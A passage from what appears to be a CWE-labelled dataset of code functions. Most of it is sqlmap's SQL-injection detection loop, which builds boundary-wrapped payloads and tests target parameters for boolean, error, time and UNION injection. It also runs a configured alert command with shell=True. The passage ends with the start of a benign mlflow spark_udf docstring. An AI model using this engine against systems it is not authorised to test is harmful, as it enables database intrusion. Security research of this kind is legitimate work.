        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS

                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because user "" % title
                debugMsg += ""specified testing of only ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix or """"
                suffix = boundary.suffix or """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Treat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    suggestion = conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        suggestion = conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            suggestion = conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                suggestion = conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not suggestion:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == '1'

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""used error-based payload ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(conf.alert, shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warning(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warning(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
                    choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
                conf.verbose = int(choice)
                setVerbosity()
                tests.insert(0, test)
            elif choice == 'N':
                return None
            elif choice == 'E':
                kb.endDetection = True
            elif choice == 'Q':
                raise SqlmapUserQuitException

        finally:
            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

    Backend.flushForcedDbms(True)

    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
            warnMsg = ""in OR boolean-based injection cases, please consider usage ""
            warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
            warnMsg += ""problems during data retrieval""
            logger.warning(warnMsg)

        if not checkFalsePositives(injection):
            if conf.hostname in kb.vulnHosts:
                kb.vulnHosts.remove(conf.hostname)

            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)

    else:
        injection = None

    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

    return injection"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/__init__.py,0,"def spark_udf(
    spark,
    model_uri,
    result_type=None,
    env_manager=_EnvManager.LOCAL,
    params: Optional[Dict[str, Any]] = None,
    extra_env: Optional[Dict[str, str]] = None,
):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the column names
    are ordinals (0, 1, ...). On some versions of Spark (3.0 and above), it is also possible to
    wrap the input in a struct. In that case, the data will be passed as a DataFrame with column
    names given by the struct definition (e.g. when invoked as my_udf(struct('x', 'y')), the model
    will get the data as a pandas DataFrame with 2 columns 'x' and 'y').

    If a model contains a signature with tensor spec inputs, you will need to pass a column of
    array type as a corresponding UDF argument. The column values of which must be one dimensional
    arrays. The UDF will reshape the column values to the required shape with 'C' order
    (i.e. read / write the elements using C-like index order) and cast the values as the required
    tensor spec type.

    If a model contains a signature, the UDF can be called without specifying column name
    arguments. In this case, the UDF will be called with column names from signature, so the
    evaluation dataframe's column names must match the model signature's column names.

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    NOTE: Inputs of type ``pyspark.sql.types.DateType`` are not supported on earlier versions of
    Spark (2.4 and below).

    .. code-block:: python
        :caption: Example

        from pyspark.sql.functions import struct

        predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
        df.withColumn(""prediction"", predict(struct(""name"", ""age""))).show()

    Args:
        spark: A SparkSession object.
        model_uri: The location, in URI format, of the MLflow model with the
            :py:mod:`mlflow.pyfunc` flavor. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

        result_type: the return type of the user-defined function. The value can be either a
            ``pyspark.sql.types.DataType`` object or a DDL-formatted type string. Only a primitive
            type, an array ``pyspark.sql.types.ArrayType`` of primitive type, or a struct type
            containing fields of above 2 kinds of types are allowed.
            If unspecified, it tries to infer result type from model signature
            output schema, if model output schema is not available, it fallbacks to use ``double``
            type.

            The following classes of result type are supported:

            - ""int"" or ``pyspark.sql.types.IntegerType``: The leftmost integer that can fit in an
              ``int32`` or an exception if there is none.

            - ""long"" or ``pyspark.sql.types.LongType``: The leftmost long integer that can fit in an
              ``int64`` or an exception if there is none.

            - ``ArrayType(IntegerType|LongType)``: All integer columns that can fit into the
              requested size.

            - ""float"" or ``pyspark.sql.types.FloatType``: The leftmost numeric result cast to
              ``float32`` or an exception if there is none.

            - ""double"" or ``pyspark.sql.types.DoubleType``: The leftmost numeric result cast to
              ``double`` or an exception if there is none.

